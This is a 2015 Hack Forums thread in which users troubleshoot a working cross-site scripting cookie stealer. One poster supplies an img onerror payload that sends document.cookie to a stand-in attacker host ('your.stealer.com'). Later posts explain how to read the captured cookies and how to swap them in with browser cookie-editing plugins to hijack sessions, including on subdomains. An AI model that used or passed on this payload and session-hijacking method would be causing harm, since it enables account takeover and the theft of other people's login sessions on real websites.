

Forum:[Hack Forums](#)

Thread: [XSS Cookie stealer working - Cookie looks odd?](#)

Skidy - September 14, 2015, 10:59 am

I don't think I have a stored cookie on the website however if you look at its output:Code
cookie='+document.cookie Thats that is in the log file?

It works if I use:

That should give me a real cookie if I had one stored shouldn't it?

Sharkky - September 14, 2015, 11:07 am

```
<img src=a onerror="image = new Image();  
image.src='http://your.stealer.com?c='+document.cookie;";>
```

This one works. You could have made it waaay shorter (creating an image in an image is...not professional at all), but this is what I use and it is reliable.

Skidy - September 14, 2015, 11:09 am

(Sep 14, 2015 11:07 AM)Sharkky Wrote: [\[CITE\]](#) <img src=a onerror="image = new Image();
image.src='http://your.stealer.com?c='+document.cookie;";>

This one works. You could have made it waaay shorter (creating an image in an image is...not professional at all), but this is what I use and it is reliable.

I am getting this now: COOKIE: c=_ga=GA1.2.34523849.1442243040;%20_gat=1 , what is the cookie part? It all seems merged.

Sharkky - September 14, 2015, 11:20 am

this is your cookie. You got it !

Here look at my hackforum cookies, these are of the same kind

[img]<http://img15.hostingpics.net/pics/327322Capture.png>[/img]

Skidy - September 14, 2015, 11:22 am

(Sep 14, 2015 11:20 AM)Sharkky Wrote: [\[CITE\]](#) this is your cookie. You got it !

Here look at my hackforum cookies, these are of the same kind

[img]<http://img15.hostingpics.net/pics/327322Capture.png>[/img]

How could I change my cookie just to test it? Will it also work with sub-domains?

Sharkky - September 14, 2015, 11:23 am

COOKIE: this is not a cookie

c= I don't know, It looks like an empty cookie

_ga=GA1.2.34523849.1442243040; a cookie

_gat=1 another cookie

Skidy - September 14, 2015, 11:25 am

(Sep 14, 2015 11:23 AM)Sharkky Wrote: [\[CITE\]](#) COOKIE: this is not a cookie

c= I don't know, It looks like an empty cookie

_ga=GA1.2.34523849.1442243040; a cookie

_gat=1 another cookie

How would I change my cookie to this just to test it?: _ga=GA1.2.34523849.1442243040;, thank you!

Sharkky - September 14, 2015, 11:25 am

(Sep 14, 2015 11:22 AM)benny_boy Wrote: [\[CITE\]](#) How could I change my cookie just to test it? Will it also work with sub-domains?

It depends on your cookie, but yes it generally works with subdomains.

You can modify your cookies with tamper data, live HTTP header, but the most easy way is just to use firebug and its plugin firecookie.

Skidy - September 14, 2015, 11:27 am

(Sep 14, 2015 11:25 AM)Sharkky Wrote: [\[CITE\]](#) It depends on your cookie, but yes it generally works with subdomains.

You can modify your cookies with tamper data, live HTTP header, but the most easy way is just to use firebug and its plugin firecookie.

Whats a firebug? Any tutorials on doing stuff with tamper data?

cheatson - September 14, 2015, 11:59 am

Its not showing the session cookie I suspect because the httpOnly flag is set (meaning javascript can't access it). You can see this in the image posted by Sharkky above. Hitler had a similar problem, as documented by the clip in my cig.